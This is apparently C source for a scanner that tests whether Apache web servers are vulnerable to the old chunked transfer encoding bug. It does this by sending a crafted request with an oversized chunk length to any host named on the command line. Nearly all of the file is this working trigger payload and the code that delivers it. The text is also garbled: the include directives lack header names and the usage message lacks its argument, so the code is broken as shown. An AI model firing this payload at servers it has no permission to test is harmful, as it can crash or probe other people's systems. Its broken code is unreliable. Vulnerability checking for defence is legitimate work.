#include #include #include #include #include #include #include #include #include #include /* * Checks if apache is vulnerable to the chunked transfer encoding bug. * (versions: <= 1.3.24 / <=2.0.36) * * -- Syzop / Bram Matthys. */ #define CONN_TIMEOUT 10 /* connect() timeout (s) */ #define READ_TIMEOUT 15 /* read() timeout (s) */ char *host = NULL; char evilbuf[] = "GET /checkapache.html HTTP/1.0\n" "Transfer-Encoding: chunked\n\n999999999;\na\n0\n\n"; int receiving = 0; int resolv(char *host,long *ipaddr) { /* I always steal resolv() routines */ if (isdigit(host[0])) { *ipaddr=inet_addr(host); if (*ipaddr==-1) return 0; } else { struct hostent *hp; if ((hp=gethostbyname(host))==NULL) { return 0; } *ipaddr=*(unsigned long *)hp->h_addr; } return 1; } void handler() { if (!receiving) fprintf(stderr, "ERR (%s): Timeout/Not vuln\n", host); else fprintf(stderr, "NEGATIVE (%s): Not vulnerable / Read timeout\n", host); exit(0); } int main(int argc, char *argv[]) { int port = 80, s, r; struct sockaddr_in addr; char buf[256]; if (argc != 2) { fprintf(stderr, "Use: ./checkap \n"); return 0; } host = argv[1]; /* Setup signals */ signal(SIGALRM, handler); signal(SIGPIPE, handler); if ((s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "ERR (%s): Couldnt create socket: %m\n", host); return 0; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); if (!resolv(host, (long *)&addr.sin_addr.s_addr)) { fprintf(stderr, "ERR (%s): Couldnt resolve host\n", host); return 0; } alarm(CONN_TIMEOUT); if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { fprintf(stderr, "ERR (%s): Connect failed: %m\n", host); return 0; } alarm(0); /* Reset*/ write(s, evilbuf, strlen(evilbuf)); alarm(READ_TIMEOUT); receiving = 1; r = read(s, buf, 1); if (r == 1) { fprintf(stderr, "NEGATIVE (%s): Not vulnerable\n", host); close(s); } else { printf("VULN (%s): Vulnerable\n", host); return 1; } return 0; }